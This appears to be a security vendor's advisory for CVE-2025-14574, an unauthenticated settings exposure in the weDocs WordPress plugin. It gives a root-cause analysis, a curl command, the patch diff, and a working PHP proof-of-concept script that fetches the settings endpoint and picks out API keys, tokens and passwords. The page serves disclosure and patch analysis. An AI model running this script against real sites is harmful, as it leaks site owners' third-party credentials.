Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14574: weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.1.15 – Unauthenticated Sensitive Information Exposure (wedocs)

Plugin wedocs
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.1.15
Patched Version 2.1.16
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14574:
The weDocs WordPress plugin version 2.1.15 and earlier contains an unauthenticated sensitive information exposure vulnerability. The plugin’s REST API endpoint for retrieving settings lacks proper authorization checks, allowing any unauthenticated user to access sensitive configuration data.

The root cause is in the `wedocs/includes/API/SettingsApi.php` file. The `register_routes` method (line 67) registers a `WP_REST_Server::READABLE` route for the `/wp-json/wp/v2/docs/settings` endpoint. The `permission_callback` for this route was set to `’__return_true’`, which unconditionally grants access to all users regardless of authentication status. This callback should verify the user has appropriate privileges before allowing access to sensitive settings data.

Exploitation involves sending a simple GET request to the vulnerable REST API endpoint. An attacker can use `curl -X GET https://target.com/wp-json/wp/v2/docs/settings` or access the URL directly in a browser. No authentication, special headers, or parameters are required. The endpoint responds with the plugin’s full configuration, including third-party API keys and other sensitive settings stored in the database.

The patch modifies the `SettingsApi.php` file in two key ways. First, it changes the `permission_callback` from `’__return_true’` to `array( $this, ‘get_items_permissions_check’ )` on line 67. Second, it adds a new `get_items_permissions_check` method (lines 104-123) that requires the `current_user_can( ‘manage_options’ )` capability, restricting access to administrators only. The patch also updates the `wedocs_set_caps` function in `functions.php` to properly restrict documentation capabilities to only administrators and editors, preventing privilege escalation through other means.

Successful exploitation allows unauthenticated attackers to retrieve sensitive plugin configuration data. This includes third-party service API keys, which could lead to unauthorized access to integrated services, financial loss, or further attacks against the website owner’s infrastructure. The exposed data could also reveal internal system details useful for crafting additional attacks against the WordPress installation.

Differential between vulnerable and patched code

Code Diff
--- a/wedocs/assets/build/index.asset.php
+++ b/wedocs/assets/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '1fd015210a7390e3647a');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'ab6e63c54006ff4e8837');
--- a/wedocs/includes/API/SettingsApi.php
+++ b/wedocs/includes/API/SettingsApi.php
@@ -67,7 +67,7 @@
                 array(
                     'methods'             => WP_REST_Server::READABLE,
                     'callback'            => array( $this, 'get_items' ),
-                    'permission_callback' => '__return_true',
+                    'permission_callback' => array( $this, 'get_items_permissions_check' ),
                 ),
                 array(
                     'methods'             => WP_REST_Server::CREATABLE,
@@ -104,6 +104,23 @@
     }

     /**
+     * Check settings data read permission.
+     *
+     * @since 2.1.16
+     *
+     * @param WP_REST_Request $request
+     *
+     * @return bool|WP_Error
+     */
+    public function get_items_permissions_check( $request ) {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.', 'wedocs' ), array( 'status' => rest_authorization_required_code() ) );
+        }
+
+        return true;
+    }
+
+    /**
      * Check settings data creation permission.
      *
      * @since 2.0.0
--- a/wedocs/includes/Admin.php
+++ b/wedocs/includes/Admin.php
@@ -121,4 +121,4 @@
         return $res;
     }

-}
+}
 No newline at end of file
--- a/wedocs/includes/functions.php
+++ b/wedocs/includes/functions.php
@@ -510,12 +510,26 @@
         $wp_roles = new WP_Roles(); // @codingStandardsIgnoreLine
     }

-    $roles        = $wp_roles->get_names();
-    $capabilities = array( 'edit_post', 'edit_docs', 'publish_docs', 'edit_others_docs', 'read_private_docs', 'edit_private_docs', 'edit_published_docs' );
-    // Push documentation handling access to users.
+    $permitted_roles = array( 'administrator', 'editor' );
+    $all_roles       = $wp_roles->get_names();
+    $capabilities    = array( 'edit_docs', 'publish_docs', 'edit_others_docs', 'read_private_docs', 'edit_private_docs', 'edit_published_docs' );
+
+    // First, remove capabilities from unauthorized roles (cleanup for existing installations)
+    foreach ( $capabilities as $capability ) {
+        foreach ( array_keys( $all_roles ) as $role_key ) {
+            $role = $wp_roles->get_role( $role_key );
+            if ( $role && $role->has_cap( $capability ) && ! in_array( $role_key, $permitted_roles, true ) ) {
+                $wp_roles->remove_cap( $role_key, $capability );
+            }
+        }
+    }
+
+    // Push documentation handling access ONLY to permitted roles.
     foreach ( $capabilities as $capability ) {
-        foreach ( $roles as $role_key => $role ) {
-            $wp_roles->add_cap( $role_key, $capability );
+        foreach ( $permitted_roles as $role_key ) {
+            if ( $wp_roles->is_role( $role_key ) ) {
+                $wp_roles->add_cap( $role_key, $capability );
+            }
         }
     }
 }
--- a/wedocs/vendor/autoload.php
+++ b/wedocs/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit6eb449ec1097d9853ab88fe4bfdc1a98::getLoader();
+return ComposerAutoloaderInita5217d61fa6434ba2fea633864271676::getLoader();
--- a/wedocs/vendor/composer/autoload_real.php
+++ b/wedocs/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit6eb449ec1097d9853ab88fe4bfdc1a98
+class ComposerAutoloaderInita5217d61fa6434ba2fea633864271676
 {
     private static $loader;

@@ -24,15 +24,15 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit6eb449ec1097d9853ab88fe4bfdc1a98', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInita5217d61fa6434ba2fea633864271676', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInit6eb449ec1097d9853ab88fe4bfdc1a98', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInita5217d61fa6434ba2fea633864271676', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInita5217d61fa6434ba2fea633864271676::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
@@ -53,12 +53,12 @@
         $loader->register(true);

         if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98::$files;
+            $includeFiles = ComposerAutoloadComposerStaticInita5217d61fa6434ba2fea633864271676::$files;
         } else {
             $includeFiles = require __DIR__ . '/autoload_files.php';
         }
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequire6eb449ec1097d9853ab88fe4bfdc1a98($fileIdentifier, $file);
+            composerRequirea5217d61fa6434ba2fea633864271676($fileIdentifier, $file);
         }

         return $loader;
@@ -70,7 +70,7 @@
  * @param string $file
  * @return void
  */
-function composerRequire6eb449ec1097d9853ab88fe4bfdc1a98($fileIdentifier, $file)
+function composerRequirea5217d61fa6434ba2fea633864271676($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wedocs/vendor/composer/autoload_static.php
+++ b/wedocs/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98
+class ComposerStaticInita5217d61fa6434ba2fea633864271676
 {
     public static $files = array (
         'bc33bdda64b68124ebec25fc6f289c9e' => __DIR__ . '/../..' . '/includes/functions.php',
@@ -60,9 +60,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit6eb449ec1097d9853ab88fe4bfdc1a98::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInita5217d61fa6434ba2fea633864271676::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInita5217d61fa6434ba2fea633864271676::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInita5217d61fa6434ba2fea633864271676::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wedocs/wedocs.php
+++ b/wedocs/wedocs.php
@@ -3,7 +3,7 @@
 Plugin Name: weDocs
 Plugin URI: https://wedocs.co/
 Description: A documentation plugin for WordPress
-Version: 2.1.15
+Version: 2.1.16
 Author: weDevs
 Author URI: https://wedocs.co/?utm_source=wporg&utm_medium=banner&utm_campaign=author-uri
 License: GPL2
@@ -61,7 +61,7 @@
      *
      * @var string
      */
-    const VERSION = '2.1.15';
+    const VERSION = '2.1.16';

     /**
      * The plugin url.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14574 - weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.1.15 - Unauthenticated Sensitive Information Exposure

<?php
/**
 * Proof of Concept for CVE-2025-14574
 * Demonstrates unauthenticated access to weDocs plugin settings via REST API
 */

// Configuration
$target_url = "https://vulnerable-site.com"; // Change this to the target WordPress site

// Construct the vulnerable endpoint URL
$api_endpoint = rtrim($target_url, '/') . '/wp-json/wp/v2/docs/settings';

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only

// Set HTTP headers to mimic a normal browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json',
    'Accept-Language: en-US,en;q=0.9',
    'Connection: keep-alive'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

// Analyze the response
echo "=== CVE-2025-14574 Proof of Concept ===n";
echo "Target URL: " . $target_url . "n";
echo "API Endpoint: " . $api_endpoint . "n";
echo "HTTP Status Code: " . $http_code . "nn";

if ($http_code == 200) {
    $data = json_decode($response, true);
    
    if (json_last_error() === JSON_ERROR_NONE && !empty($data)) {
        echo "[SUCCESS] Vulnerable endpoint accessed successfully!n";
        echo "Exposed settings data:n";
        echo str_repeat("-", 50) . "n";
        
        // Display the sensitive data
        echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
        echo "n";
        
        // Check for specific sensitive fields
        $sensitive_keys = ['api_key', 'secret', 'token', 'password', 'key', 'auth'];
        $found_sensitive = [];
        
        array_walk_recursive($data, function($value, $key) use (&$found_sensitive, $sensitive_keys) {
            $key_lower = strtolower($key);
            foreach ($sensitive_keys as $sensitive) {
                if (strpos($key_lower, $sensitive) !== false && !empty($value)) {
                    $found_sensitive[$key] = $value;
                }
            }
        });
        
        if (!empty($found_sensitive)) {
            echo "n[WARNING] Found potentially sensitive data:n";
            foreach ($found_sensitive as $key => $value) {
                echo "  {$key}: {$value}n";
            }
        }
    } else {
        echo "[INFO] Endpoint returned data but could not parse as JSONn";
        echo "Raw response: " . substr($response, 0, 500) . "...n";
    }
} else if ($http_code == 403 || $http_code == 401) {
    echo "[PATCHED] Endpoint now requires authentication (HTTP {$http_code})n";
    echo "The site may be running a patched version (2.1.16+)n";
} else {
    echo "[INFO] Unexpected HTTP status: {$http_code}n";
    echo "Response: " . substr($response, 0, 500) . "...n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School